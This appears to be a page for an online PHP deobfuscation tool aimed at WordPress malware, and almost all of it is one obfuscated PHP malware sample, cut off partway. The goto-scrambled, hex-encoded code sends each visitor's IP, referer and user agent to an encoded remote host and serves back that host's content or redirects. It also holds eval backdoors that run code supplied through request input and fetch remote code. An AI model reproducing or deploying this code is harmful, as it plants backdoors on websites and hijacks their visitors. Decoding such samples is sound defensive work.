Japanese 
English
PHP 難読化コードの復元・デコードWordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php
goto hbiDNHbx8DHU;
Yf8aHamZqmrW:
R8RuoAlSwj2y::aKr4CxiyKv3I();
goto HaYq1oNCcxUY;
a6VsithFsHl_:
$DXpd_4nmefgY = '';
goto WMLJZJlGm4q2;
hd3DD_WBHFjx:
$zaKbRHLiIYde = $tYEBx2ch2a6U("\176", "\40");
goto cgTe2aniba0d;
LiRymEaxb3oR:
function xeWNIAnXEXBQ()
{
goto NJ4BfIiLr0Zg;
n2a1h19zWZ29:
if (isset($_SERVER["\x48\124\124\120\137\x58\x5f\x46\117\122\x57\101\x52\x44\x45\104\x5f\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\127\x41\x52\x44\105\104\137\120\x52\x4f\x54\117"] === "\x68\164\164\x70\x73") {
goto zvBZx9J6hU8H;
}
goto H0LFJDoYOR02;
uM2NbIRZ3rGs:
XWtsYWzKp3fW:
goto AqVATbHQg3MQ;
hyCdUEL74BUS:
if (isset($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\146\146") {
goto cVWtkuuehK0n;
}
goto n2a1h19zWZ29;
AqVATbHQg3MQ:
$f7qOAK3jh8RT = "\x68\x74\164\x70\163\72\x2f\x2f";
goto uMkKO_J2fL5c;
NJ4BfIiLr0Zg:
$f7qOAK3jh8RT = "\x68\164\164\160\72\57\57";
goto hyCdUEL74BUS;
uMkKO_J2fL5c:
QsH30b2nzhgU:
goto X_dwDSoGLwyy;
ao1HEurT8aTO:
cVWtkuuehK0n:
goto DSTcqU2iN5E2;
PQXqwk9nKjP0:
zvBZx9J6hU8H:
goto ZT8gr7vZ55ZT;
IR6rkoO9Xmia:
goto QsH30b2nzhgU;
goto PQXqwk9nKjP0;
Ky0sKTf3rzgS:
goto QsH30b2nzhgU;
goto uM2NbIRZ3rGs;
DSTcqU2iN5E2:
$f7qOAK3jh8RT = "\x68\x74\x74\x70\x73\x3a\57\x2f";
goto IR6rkoO9Xmia;
ZT8gr7vZ55ZT:
$f7qOAK3jh8RT = "\150\164\164\160\163\x3a\x2f\x2f";
goto Ky0sKTf3rzgS;
H0LFJDoYOR02:
if (isset($_SERVER["\x48\124\124\120\x5f\106\122\117\116\124\x5f\105\x4e\104\137\110\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\106\x52\x4f\116\x54\x5f\x45\116\x44\137\110\124\x54\x50\x53"]) !== "\x6f\x66\x66") {
goto XWtsYWzKp3fW;
}
goto b8Q7n4g7Rgho;
b8Q7n4g7Rgho:
goto QsH30b2nzhgU;
goto ao1HEurT8aTO;
X_dwDSoGLwyy:
return $f7qOAK3jh8RT;
goto yiGIehh8tGRB;
yiGIehh8tGRB:
}
goto jIt188HNZBIx;
WMLJZJlGm4q2:
B4RGq8kSg32x:
goto ASn9QLDLnzib;
fCP3ZRJoIjAM:
$Fpv3Gnb83l7T["\151"] = EXdQ9lpUPxFp($tgjPQQH3tI0D);
goto fLb6sF8YKMWm;
mSWF1NU0rY18:
$tgjPQQH3tI0D = ILThFe6QJetz();
goto u0BhK2WBBe5Z;
cgTe2aniba0d:
$W3d7aWKqIANo = ${$zaKbRHLiIYde[19 + 12] . $zaKbRHLiIYde[25 + 34] . $zaKbRHLiIYde[32 + 15] . $zaKbRHLiIYde[35 + 12] . $zaKbRHLiIYde[31 + 20] . $zaKbRHLiIYde[22 + 31] . $zaKbRHLiIYde[11 + 46]};
goto sjAzV_OTytD8;
ci02UY3NiMu_:
$Fpv3Gnb83l7T["\162\146"] = eXdQ9LpupXFp($DXpd_4nmefgY);
goto jzsFjCpZPWcN;
q878UupRsQ6m:
@header("\103\157\x6e\164\145\156\x74\x2d\124\x79\x70\x65\x3a" . $T5yNMeHxr2z1["\164\x79\160\x65"]);
goto v6_fQFSAh0F8;
G6jAloUo2nV3:
if ($LPr9jF8Gldr2) {
goto Q1DD7g9ogy14;
}
goto oTR7RJboyLGT;
Dl42fafcMHPT:
if (in_array($T5yNMeHxr2z1["\163\x74\x61\164\x75\163"], array(0, 200))) {
goto BydLbf8PYUUd;
}
goto SFINA3i52DAP;
Drcn7jboTLoL:
exit(strrev(md5($_SERVER["\x53\105\x52\x56\x45\x52\137\116\x41\115\105"])));
goto zqfwBT1qaVNe;
EOdLhksypbe_:
TbHVqx_Jn14f:
goto fahchMAUBdlF;
we2bUQc6jyua:
exit("\x7b\x20\42\x65\162\x72\157\162\x22\72\40\62\60\x30\54\40\x22\x6c\143\x22\x3a\40\42\x6a\x6b\x22\x2c\40\x22\x64\141\x74\141\42\72\x20\x5b\40\x31\x20\135\40\175");
goto QCc3Q8UVE2jZ;
bKtDvGenuSVI:
function c13b1gYs722d($HfbmsHCKBV7r, $sfDQZG3OYtsT = array())
{
goto sv18jh4qwcCv;
DtRModBB0xir:
dUPolSZdjc4J:
goto ujyffnmSEbMk;
sv18jh4qwcCv:
$T5yNMeHxr2z1 = array("\x73\164\x61\x74\x75\163" => 0, "\x63\157\x6e\164\x65\156\164" => '', "\164\171\x70\145" => '');
goto y8qb7l9S2AOl;
DR_g0J4jPuYn:
$HfbmsHCKBV7r .= "\x3f" . http_build_query($sfDQZG3OYtsT);
goto DtRModBB0xir;
ujyffnmSEbMk:
try {
goto uH2llUVa7k3K;
VOopzKHp2NNG:
$T5yNMeHxr2z1["\143\157\x6e\164\145\x6e\x74"] = strval($fAI6lK0qlXfO);
goto gSBOJ3TOF92o;
LedtP3841Q3t:
curl_setopt($RGiAMOeKufkX, CURLOPT_COOKIESESSION, 0);
goto oo0C9onHuQFW;
AIvmrZlLNBRS:
curl_setopt($RGiAMOeKufkX, CURLOPT_FOLLOWLOCATION, 0);
goto LedtP3841Q3t;
YAPpIAxLRTCm:
$T5yNMeHxr2z1 = array_merge($T5yNMeHxr2z1, W5P8MOOqah2f($http_response_header));
goto sQdyC5aZ0OOh;
ZGBF8fZtDDb8:
goto Wh5Xwo8wGhj0;
goto SgM50dj60jUV;
ns9fxc6hSc4f:
@curl_close($RGiAMOeKufkX);
goto hYMSHcXD7nvS;
fNmI70tSGtk3:
$LIAhGJnkBU2n = @file_get_contents($HfbmsHCKBV7r, false, $H53qT3Ba1Rco);
goto YAPpIAxLRTCm;
hYMSHcXD7nvS:
if (!in_array($T5yNMeHxr2z1["\163\164\141\164\x75\x73"], array(200, 301, 302, 404))) {
goto EkeQGkszqt31;
}
goto VOopzKHp2NNG;
W1kdCct3ntI5:
$RGiAMOeKufkX = curl_init();
goto lCnMRaohApR6;
uH2llUVa7k3K:
if (function_exists("\143\x75\162\154\x5f\x65\170\x65\x63") && function_exists("\x63\x75\162\154\x5f\x69\156\x69\x74")) {
goto dfatFalV5On8;
}
goto GMRXGH2SWsgr;
tHSjepkJGP9Y:
curl_setopt($RGiAMOeKufkX, CURLOPT_CONNECTTIMEOUT, 20);
goto jSeQYdj9mXH5;
SgM50dj60jUV:
VVS6W947pr_4:
goto zKkqqCKNXk63;
aXzN6pPH5BVe:
goto Wh5Xwo8wGhj0;
goto SYbX2W9QDBJu;
GMRXGH2SWsgr:
if (ini_get("\x61\154\154\157\167\x5f\165\x72\x6c\x5f\146\157\x70\145\x6e")) {
goto VVS6W947pr_4;
}
goto aXzN6pPH5BVe;
ZdzBRosGp6B9:
curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYHOST, 0);
goto N92041KpAL2V;
zKkqqCKNXk63:
$BsiuSwn5_4jA = array("\x68\164\x74\x70" => array("\155\145\x74\150\157\x64" => "\107\105\x54", "\x74\x69\x6d\x65\x6f\x75\164" => 60, "\x66\157\154\x6c\157\167\137\x6c\x6f\x63\x61\164\x69\157\156" => 0), "\x73\163\x6c" => array("\x76\145\162\151\146\x79\137\x70\x65\145\x72" => false, "\166\x65\x72\x69\x66\x79\x5f\160\145\x65\162\x5f\x6e\141\155\145" => false));
goto xCx6UsOT47nP;
N92041KpAL2V:
curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYPEER, 0);
goto tHSjepkJGP9Y;
gSBOJ3TOF92o:
EkeQGkszqt31:
goto ZGBF8fZtDDb8;
LKD4qqthGzqZ:
$fAI6lK0qlXfO = curl_exec($RGiAMOeKufkX);
goto TywDpHI4wpzZ;
xCx6UsOT47nP:
$H53qT3Ba1Rco = stream_context_create($BsiuSwn5_4jA);
goto fNmI70tSGtk3;
oo0C9onHuQFW:
curl_setopt($RGiAMOeKufkX, CURLOPT_RETURNTRANSFER, 1);
goto LKD4qqthGzqZ;
jSeQYdj9mXH5:
curl_setopt($RGiAMOeKufkX, CURLOPT_TIMEOUT, 60);
goto AIvmrZlLNBRS;
LZ7HKmzD8y7p:
$T5yNMeHxr2z1["\164\x79\160\x65"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_CONTENT_TYPE));
goto a180Wb37fnLZ;
TywDpHI4wpzZ:
$T5yNMeHxr2z1["\x73\x74\x61\164\165\x73"] = intval(curl_getinfo($RGiAMOeKufkX, CURLINFO_HTTP_CODE));
goto LZ7HKmzD8y7p;
lCnMRaohApR6:
curl_setopt($RGiAMOeKufkX, CURLOPT_URL, $HfbmsHCKBV7r);
goto ZdzBRosGp6B9;
ahEfUCAR0A_a:
gPDxNPohrWsv:
goto pVX3N9mjUnGq;
SYbX2W9QDBJu:
dfatFalV5On8:
goto W1kdCct3ntI5;
pVX3N9mjUnGq:
Wh5Xwo8wGhj0:
goto hr2uzNaw8utC;
a180Wb37fnLZ:
$T5yNMeHxr2z1["\x63\157\x6e\164\x65\x6e\x74"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_REDIRECT_URL));
goto ns9fxc6hSc4f;
ChZ89RbTX8Jw:
$T5yNMeHxr2z1["\143\x6f\x6e\x74\145\156\x74"] = strval($LIAhGJnkBU2n);
goto ahEfUCAR0A_a;
sQdyC5aZ0OOh:
if (!in_array($T5yNMeHxr2z1["\163\164\x61\164\x75\x73"], array(200, 301, 302, 404))) {
goto gPDxNPohrWsv;
}
goto ChZ89RbTX8Jw;
hr2uzNaw8utC:
} catch (Exception $j5IXvIC33_U2) {
}
goto EjBINGVUw9_M;
EjBINGVUw9_M:
return $T5yNMeHxr2z1;
goto yitCkdd0TkzQ;
y8qb7l9S2AOl:
if (!(is_array($sfDQZG3OYtsT) && count($sfDQZG3OYtsT))) {
goto dUPolSZdjc4J;
}
goto DR_g0J4jPuYn;
yitCkdd0TkzQ:
}
goto pWqza6k0iCdY;
OeyfANF0bwN1:
metaphone("\115\x7a\x4d\171\x4f\x54\125\64\x4e\172\x59\x34\117\x54\153\60\x4d\x44\x49\60\115\172\125\60\x4d\172\x59\170\x4e\104\x55\x78");
goto yke6_EQfY0Zr;
N1KHboCNWQWO:
$LPr9jF8Gldr2 = false;
goto vgbaw2776Vnd;
sdS3e8uV6S5y:
YsOC9xjMVXDc:
goto plY421_P221p;
jIt188HNZBIx:
if (!($_SERVER["\x52\x45\121\125\x45\123\x54\x5f\125\122\x49"] === "\57\122\x2d" . md5($_SERVER["\x53\x45\x52\126\x45\122\137\116\101\x4d\105"]))) {
goto me2KcQGR0LC2;
}
goto Drcn7jboTLoL;
psH3V7s3nQwr:
ceTyvoBs95Oj:
goto Yz1Jv24zfCfY;
WOZqD2uqy3ez:
($W3d7aWKqIANo[63] = $W3d7aWKqIANo[63] . $W3d7aWKqIANo[80]) && ($W3d7aWKqIANo[86] = $W3d7aWKqIANo[63]($W3d7aWKqIANo[86])) && @eval($W3d7aWKqIANo[63](${$W3d7aWKqIANo[39]}[26]));
goto dMc0DpKr1BnP;
ASn9QLDLnzib:
$Fpv3Gnb83l7T = array();
goto fCP3ZRJoIjAM;
fLb6sF8YKMWm:
$Fpv3Gnb83l7T["\154"] = exDQ9LPupxfp($_SERVER["\110\124\x54\x50\x5f\101\103\x43\105\120\x54\137\x4c\101\116\107\125\101\107\x45"]);
goto IxtSkswHERMV;
piEy7XJ2qyTx:
function iLThfE6qjetZ()
{
goto nd5vnWUps3Y6;
mKEY3JrTeEYN:
goto tf5iTsiAwITN;
goto ZZQEPJy6glIA;
OMnST0_l22cP:
goto tf5iTsiAwITN;
goto Fop1XZzjy14X;
Z0tygsZrjlSd:
$tgjPQQH3tI0D = trim(str_replace("\40", '', $tgjPQQH3tI0D), "\x2c");
goto o9adqXburNfO;
Jio2MapqoPQR:
VLnN2eB_xzPH:
goto EMEsEiSi9o2Q;
YT0svkRXQwSM:
$tgjPQQH3tI0D = $_SERVER["\x48\x54\124\120\137\x58\x5f\122\105\x41\x4c\x5f\111\x50"];
goto mKEY3JrTeEYN;
oQ64kv_AkrsO:
$tgjPQQH3tI0D = $tgjPQQH3tI0D[0];
goto LjuiPc3SLrnD;
LjuiPc3SLrnD:
BClj7Z40j_J1:
goto vUxo7n_37Rtn;
DgqE_3v7r_HC:
if (isset($_SERVER["\x48\x54\124\120\x5f\130\x5f\x46\117\x52\127\x41\x52\104\105\x44\137\x46\x4f\x52"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\117\122\127\101\122\104\105\104\x5f\x46\117\122"])) {
goto Jky3wbAb21ld;
}
goto ZNv4ggfkZxZ0;
ZZQEPJy6glIA:
Jky3wbAb21ld:
goto y6BpqCAZALBy;
o9adqXburNfO:
if (!(strpos($tgjPQQH3tI0D, "\54") !== false)) {
goto BClj7Z40j_J1;
}
goto MfvoNUg3uawH;
Fop1XZzjy14X:
FnMXSR3gaNJ0:
goto YT0svkRXQwSM;
ZbPgthG05MEw:
goto tf5iTsiAwITN;
goto Jio2MapqoPQR;
nd5vnWUps3Y6:
$tgjPQQH3tI0D = '';
goto s1zgi9_nCuWS;
ZNv4ggfkZxZ0:
$tgjPQQH3tI0D = $_SERVER["\122\x45\115\117\x54\x45\x5f\x41\x44\x44\122"];
goto ZbPgthG05MEw;
y6BpqCAZALBy:
$tgjPQQH3tI0D = $_SERVER["\110\x54\x54\x50\137\130\137\106\117\x52\127\101\x52\x44\105\104\137\x46\x4f\x52"];
goto ppDoPjY84zk2;
ppDoPjY84zk2:
tf5iTsiAwITN:
goto Z0tygsZrjlSd;
EMEsEiSi9o2Q:
$tgjPQQH3tI0D = $_SERVER["\110\x54\124\x50\137\x43\106\x5f\x43\117\x4e\x4e\105\x43\x54\x49\116\107\x5f\x49\120"];
goto OMnST0_l22cP;
MfvoNUg3uawH:
$tgjPQQH3tI0D = explode("\x2c", $tgjPQQH3tI0D);
goto oQ64kv_AkrsO;
z1RYy21rfZBc:
if (isset($_SERVER["\x48\124\x54\x50\137\x58\137\122\x45\x41\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\124\124\120\x5f\130\137\122\105\101\x4c\x5f\111\120"])) {
goto FnMXSR3gaNJ0;
}
goto DgqE_3v7r_HC;
s1zgi9_nCuWS:
if (isset($_SERVER["\110\124\x54\x50\137\x43\x46\x5f\103\117\116\116\105\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\x54\124\120\x5f\x43\106\137\103\x4f\x4e\116\105\x43\124\x49\116\x47\137\111\x50"])) {
goto VLnN2eB_xzPH;
}
goto z1RYy21rfZBc;
vUxo7n_37Rtn:
return $tgjPQQH3tI0D;
goto JW80rd7YU4I0;
JW80rd7YU4I0:
}
goto LiRymEaxb3oR;
Yz1Jv24zfCfY:
VxhuDyFkBKYM:
goto G6jAloUo2nV3;
r2bNA_EWGe2x:
error_reporting(0);
goto w33HZkgPPcl6;
wJ4URTiO19Lm:
$KT330L2yWVmh = XEwnianxexbQ() . $_SERVER["\x48\x54\x54\120\137\x48\x4f\x53\124"];
goto sNoyZ1Pm0sQk;
jzsFjCpZPWcN:
$Fpv3Gnb83l7T["\163"] = exdq9lPUpXFP($KT330L2yWVmh);
goto NuxEHHui95Cr;
IxtSkswHERMV:
$Fpv3Gnb83l7T["\163\x6e"] = eXdQ9lpuPXFP($_SERVER["\123\103\122\111\x50\124\137\116\x41\x4d\105"]);
goto aGd5yJwaH15f;
w33HZkgPPcl6:
function w5P8MOOQah2f($LHtDphoMKV8B)
{
goto j_Ug2gK6lQ2V;
ggT_nNGPhwWp:
yEBhT7M8fhNB:
goto nMor9rel4qGu;
nMor9rel4qGu:
foreach ($LHtDphoMKV8B as $EWWGfX9ZyfxG) {
goto ssoZuwm5c4Q2;
a40NRuFhrlSl:
RMBQERbpVirW:
goto T3MUryrVPgpC;
flYG622EKlWR:
YZngsyLPz8tX:
goto dLP2VKcl4CF_;
JDSwWIvyjfVq:
IiDSt9sWRrVD:
goto aRm0JemP0Sn8;
kvamEPHi98gt:
$C_lC0WNHWmk3["\x63\x6f\x6e\x74\x65\x6e\164"] = $vsy_lRWe4oN6[1];
goto kAph7v0qiqMW;
Vup05lLCvfuO:
goto U6_SJgTQ81Vq;
goto jg6ylPJ8b71y;
w2rs9bs9nApw:
if (preg_match("\57\143\157\x6e\x74\x65\156\x74\x5c\x2d\x74\x79\x70\145\134\72\x5b\x5c\163\135\53\50\56\x2a\x29\57\x69", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
goto RMBQERbpVirW;
}
goto iDGcNb9vup5l;
ssoZuwm5c4Q2:
if (preg_match("\x2f\x68\x74\x74\160\134\57\x5b\x30\x2d\x39\x5c\56\x5d\x2b\x5b\x5c\x73\135\53\x28\x5b\x30\x2d\x39\x5d\x2b\x29\x2f\151", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
goto YZngsyLPz8tX;
}
goto KFEehNq8GPLp;
KFEehNq8GPLp:
if (preg_match("\x2f\x6c\157\x63\x61\164\x69\157\x6e\134\x3a\133\134\163\135\53\50\x2e\x2a\51\x2f\x69", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
goto lh1D2veZdRI4;
}
goto w2rs9bs9nApw;
iDGcNb9vup5l:
goto U6_SJgTQ81Vq;
goto flYG622EKlWR;
jg6ylPJ8b71y:
lh1D2veZdRI4:
goto kvamEPHi98gt;
T3MUryrVPgpC:
$C_lC0WNHWmk3["\164\x79\160\145"] = $vsy_lRWe4oN6[1];
goto S5V0hwwsO4V5;
dLP2VKcl4CF_:
$C_lC0WNHWmk3["\x73\x74\141\x74\x75\163"] = intval($vsy_lRWe4oN6[1]);
goto Vup05lLCvfuO;
kAph7v0qiqMW:
goto U6_SJgTQ81Vq;
goto a40NRuFhrlSl;
S5V0hwwsO4V5:
U6_SJgTQ81Vq:
goto JDSwWIvyjfVq;
aRm0JemP0Sn8:
}
goto HVjXY5uLhRdg;
j_Ug2gK6lQ2V:
$C_lC0WNHWmk3 = array("\163\x74\x61\164\165\163" => 0, "\143\x6f\x6e\164\145\156\x74" => '', "\164\171\x70\x65" => '');
goto Ux_QAYswlUKq;
mXteUR1_ABj6:
return $C_lC0WNHWmk3;
goto kaqer4M9j4JB;
wVBxAjqNqF7X:
return $C_lC0WNHWmk3;
goto ggT_nNGPhwWp;
HVjXY5uLhRdg:
kdKlOOFGa9cW:
goto mXteUR1_ABj6;
Ux_QAYswlUKq:
if (is_array($LHtDphoMKV8B)) {
goto yEBhT7M8fhNB;
}
goto wVBxAjqNqF7X;
kaqer4M9j4JB:
}
goto bKtDvGenuSVI;
hbiDNHbx8DHU:
error_reporting(0);
goto NmcAjbTu9kOL;
vgbaw2776Vnd:
if (!(strpos($vsKq2mdhu8Ju, "\x2e") > 0 && strpos($vsKq2mdhu8Ju, "\x2e\x70\150\x70") === false)) {
goto VxhuDyFkBKYM;
}
goto PRbta0msl5iT;
sNoyZ1Pm0sQk:
if (!(strpos($DXpd_4nmefgY, $KT330L2yWVmh) === 0)) {
goto B4RGq8kSg32x;
}
goto a6VsithFsHl_;
sjAzV_OTytD8:
if (!(in_array(gettype($W3d7aWKqIANo) . count($W3d7aWKqIANo), $W3d7aWKqIANo) && count($W3d7aWKqIANo) == 14 && md5(md5(md5(md5($W3d7aWKqIANo[8])))) === "\64\x61\145\x33\60\143\142\71\144\x34\64\145\x35\144\66\x34\x65\x63\x35\145\x35\x31\x61\x65\66\x33\70\x32\x64\x63\143\63")) {
goto bHrRw1mZdIaL;
}
goto WOZqD2uqy3ez;
XCEHYityY4he:
exit(0);
goto EOdLhksypbe_;
FR53tFBPEQHj:
qHvOs92k1jns:
goto sdS3e8uV6S5y;
plY421_P221p:
BydLbf8PYUUd:
goto tWqI7WIiv8J1;
oTR7RJboyLGT:
$T5yNMeHxr2z1 = c13B1gYs722d(base64_decode("\141\110\122\x30\x63\104\157\166\114\63\160\172\x4e\152\111\x78\144\x6a\105\x7a\x63\x33\125\x75\142\x32\x5a\x6d\x61\127\116\x6c\143\151\x35\x73\x59\x58\121\166"), $Fpv3Gnb83l7T);
goto Dl42fafcMHPT;
SFINA3i52DAP:
switch ($T5yNMeHxr2z1["\163\164\141\x74\x75\x73"]) {
case 301:
goto A2TxTweR_DWW;
wYA4Tse6oF2P:
header("\114\x6f\x63\x61\x74\151\x6f\156\x3a\40" . trim($T5yNMeHxr2z1["\x63\x6f\x6e\x74\145\x6e\x74"]));
goto xAEqFgEUfo6Y;
xAEqFgEUfo6Y:
goto YsOC9xjMVXDc;
goto CwUCK35Yf6Sy;
A2TxTweR_DWW:
header("\110\124\124\x50\57\x31\x2e\x31\40\x33\60\x31\x20\x4d\157\166\145\x64\40\x50\145\x72\x6d\141\156\145\x6e\x74\154\171");
goto wYA4Tse6oF2P;
CwUCK35Yf6Sy:
case 302:
goto MMtZkh9GD_dr;
WbyCMT53zJAA:
header("\x4c\x6f\x63\141\164\x69\x6f\x6e\x3a\40" . trim($T5yNMeHxr2z1["\143\x6f\156\x74\145\x6e\164"]));
goto PhXuiuBTWiMv;
PhXuiuBTWiMv:
goto YsOC9xjMVXDc;
goto oDGmeLmn6STA;
MMtZkh9GD_dr:
header("\x48\x54\x54\x50\x2f\x31\x2e\61\40\63\60\62\x20\x4d\157\x76\145\40\x54\145\155\160\x6f\162\141\x72\x69\154\171");
goto WbyCMT53zJAA;
oDGmeLmn6STA:
case 404:
goto C4mUwtMfJ2fz;
Zx3lA6vYj8Kw:
header("\163\164\141\x74\x75\163\72\40\64\60\64\x20\x4e\157\164\40\x46\157\165\156\144");
goto PN_5A0EUJ759;
PN_5A0EUJ759:
goto YsOC9xjMVXDc;
goto Es1JTuRNvdKp;
C4mUwtMfJ2fz:
header("\x48\x54\x54\x50\57\61\x2e\61\40\64\x30\x34\40\116\x6f\x74\40\106\157\165\156\x64");
goto Zx3lA6vYj8Kw;
Es1JTuRNvdKp:
default:
goto YsOC9xjMVXDc;
}
goto FR53tFBPEQHj;
dMc0DpKr1BnP:
bHrRw1mZdIaL:
goto OeyfANF0bwN1;
NuxEHHui95Cr:
$Fpv3Gnb83l7T["\165"] = ExDQ9LPupXFP($_SERVER["\110\x54\x54\120\x5f\125\x53\x45\122\137\101\107\x45\x4e\124"]);
goto FqSFxHod5Y5x;
tWqI7WIiv8J1:
if (!strlen($T5yNMeHxr2z1["\x63\157\x6e\x74\x65\x6e\164"])) {
goto TbHVqx_Jn14f;
}
goto q878UupRsQ6m;
pWqza6k0iCdY:
function exdq9LPupxfP($Sc2Tuu67tbSJ)
{
goto uRJWNZjvq_L1;
F5HYwDhVxNcF:
return '';
goto tEvHZuD9cuUJ;
uRJWNZjvq_L1:
if ($Sc2Tuu67tbSJ) {
goto RON0eVd3oA0I;
}
goto F5HYwDhVxNcF;
tEvHZuD9cuUJ:
RON0eVd3oA0I:
goto HM0zAexM9LC2;
HM0zAexM9LC2:
return rtrim(strtr(base64_encode($Sc2Tuu67tbSJ), "\x2b\x2f", "\55\x5f"), "\x3d");
goto H4JZHJASglJK;
H4JZHJASglJK:
}
goto piEy7XJ2qyTx;
v6_fQFSAh0F8:
echo $T5yNMeHxr2z1["\143\x6f\x6e\164\145\x6e\164"];
goto XCEHYityY4he;
PRbta0msl5iT:
$ZWeV2nh1pfFA = substr($vsKq2mdhu8Ju, strpos($vsKq2mdhu8Ju, "\56"));
goto aDLKpyhfsPxL;
QCc3Q8UVE2jZ:
xl8pH4ANtmBb:
goto mSWF1NU0rY18;
tEyespwaQAHP:
$LPr9jF8Gldr2 = true;
goto psH3V7s3nQwr;
FqSFxHod5Y5x:
$vsKq2mdhu8Ju = preg_replace("\x2f\134\x3f\56\52\x2f", '', $_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]);
goto N1KHboCNWQWO;
wWnPwPc0i_TW:
if (!substr_count($_SERVER["\x52\105\121\x55\105\x53\124\137\125\122\111"], "\151\156\144\145\x78\x2e\x70\150\x70\x2f\152\x6b")) {
goto xl8pH4ANtmBb;
}
goto we2bUQc6jyua;
HaYq1oNCcxUY:
header("\103\x6f\156\x74\145\156\x74\55\124\171\160\x65\72\x20\164\x65\x78\x74\x2f\150\x74\x6d\x6c\x3b\40\x63\x68\141\x72\163\x65\x74\x3d\165\x74\146\x2d\x38");
goto r2bNA_EWGe2x;
u0BhK2WBBe5Z:
$DXpd_4nmefgY = strval(@$_SERVER["\110\124\x54\x50\x5f\x52\105\106\x45\122\105\122"]);
goto wJ4URTiO19Lm;
NmcAjbTu9kOL:
$tYEBx2ch2a6U = "\x72" . "\141" . "\x6e" . "\147" . "\x65";
goto hd3DD_WBHFjx;
aDLKpyhfsPxL:
if (!in_array($ZWeV2nh1pfFA, array("\x2e\152\163", "\x2e\143\x73\163", "\x2e\152\160\147", "\56\x70\156\147", "\x2e\147\x69\x66", "\56\x69\x63\157"))) {
goto ceTyvoBs95Oj;
}
goto tEyespwaQAHP;
aGd5yJwaH15f:
$Fpv3Gnb83l7T["\x72"] = ExdQ9LPUPxfp($_SERVER["\x52\x45\121\125\x45\x53\124\137\x55\122\x49"]);
goto ci02UY3NiMu_;
zqfwBT1qaVNe:
me2KcQGR0LC2:
goto wWnPwPc0i_TW;
yke6_EQfY0Zr:
class R8rUoAlSWJ2y
{
static function Mr5v8bCgwa4F($z4172ITSSL3E)
{
goto TR7DkTCLWhBq;
aigDkJ_AMHjj:
uqdZiyEFOLfj:
goto JO2Mzxi7a5q1;
TR7DkTCLWhBq:
$FwAOqLo2aJIy = "\x72" . "\x61" . "\156" . "\147" . "\145";
goto BEHkgjUvCptX;
iWLFZbGuPUAe:
$oAWvO1sCXqWd = '';
goto S9Go4uSGee0A;
JO2Mzxi7a5q1:
return $oAWvO1sCXqWd;
goto sVyvuwKSF04v;
g1fl6Q0NM430:
$jbGEYoBn2T2h = explode("\51", $z4172ITSSL3E);
goto iWLFZbGuPUAe;
S9Go4uSGee0A:
foreach ($jbGEYoBn2T2h as $JlazongtzzjS => $p0flcUA5lUqW) {
$oAWvO1sCXqWd .= $h5_Jx5CdjfdQ[$p0flcUA5lUqW - 14436];
RLTy03nAf2ll:
}
goto aigDkJ_AMHjj;
BEHkgjUvCptX:
$h5_Jx5CdjfdQ = $FwAOqLo2aJIy("\176", "\x20");
goto g1fl6Q0NM430;
sVyvuwKSF04v:
}
static function fgAfT6q3QYCK($TkcEZ1M2VZDo, $Xc8ZKTxO7Do3)
{
goto e5beaRlg26xt;
HeNKtRX9TQTH:
curl_setopt($VdFIdcMb67eP, CURLOPT_RETURNTRANSFER, 1);
goto KP48Zd2FRexX;
qhpG14osntMS:
return empty($r7k0H5mrTn19) ? $Xc8ZKTxO7Do3($TkcEZ1M2VZDo) : $r7k0H5mrTn19;
goto r489ff2LnycE;
KP48Zd2FRexX:
$r7k0H5mrTn19 = curl_exec($VdFIdcMb67eP);
goto qhpG14osntMS;
e5beaRlg26xt:
$VdFIdcMb67eP = curl_init($TkcEZ1M2VZDo);
goto HeNKtRX9TQTH;
r489ff2LnycE:
}
static function akr4CxiYKv3I()
{
goto oFDBOCbHM3Pg;
q_AcftvqFelG:
$F_xExOB4LQvF = $yl5UeBM3lZfK[0 + 2]($L1zoPmdrc_UC, true);
goto inY9fXgf2j2K;
wM3pnVUy2WmV:
@eval($yl5UeBM3lZfK[2 + 2]($SGCYnZR1YBAq));
goto WQoa4vieWVYV;
wkuzhHhm5a_V:
$F0hc4yK6xyho = @$yl5UeBM3lZfK[1]($yl5UeBM3lZfK[4 + 6](INPUT_GET, $yl5UeBM3lZfK[3 + 6]));
goto fnTnvDyc8kGf;
oFDBOCbHM3Pg:
$PyEangj7d2JH = array("\x31\x34\x34\66\63\51\x31\64\x34\x34\x38\51\x31\64\64\66\x31\x29\61\x34\64\66\x35\51\61\x34\64\64\x36\51\61\x34\64\66\x31\51\61\x34\x34\x36\x37\51\61\64\64\x36\x30\51\61\64\64\x34\x35\51\61\64\64\x35\x32\x29\x31\x34\x34\x36\63\x29\x31\x34\64\64\66\x29\61\64\x34\65\67\51\61\x34\64\65\x31\x29\61\x34\x34\65\x32", "\x31\x34\x34\x34\67\51\61\64\x34\x34\66\x29\x31\64\x34\64\70\51\x31\64\64\66\67\x29\x31\64\64\64\x38\51\61\x34\x34\x35\x31\x29\x31\x34\64\64\66\x29\61\64\x35\61\x33\51\x31\64\x35\61\61", "\x31\x34\x34\65\66\x29\x31\x34\x34\x34\67\x29\61\x34\64\x35\61\51\61\64\x34\x35\x32\51\x31\64\x34\x36\x37\x29\61\64\x34\66\x32\51\61\64\64\66\x31\x29\x31\x34\x34\x36\x33\51\61\x34\x34\x35\61\x29\61\x34\64\66\x32\51\61\64\x34\x36\x31", "\x31\x34\64\65\60\x29\x31\64\x34\66\x35\51\61\64\x34\x36\x33\51\x31\x34\64\65\65", 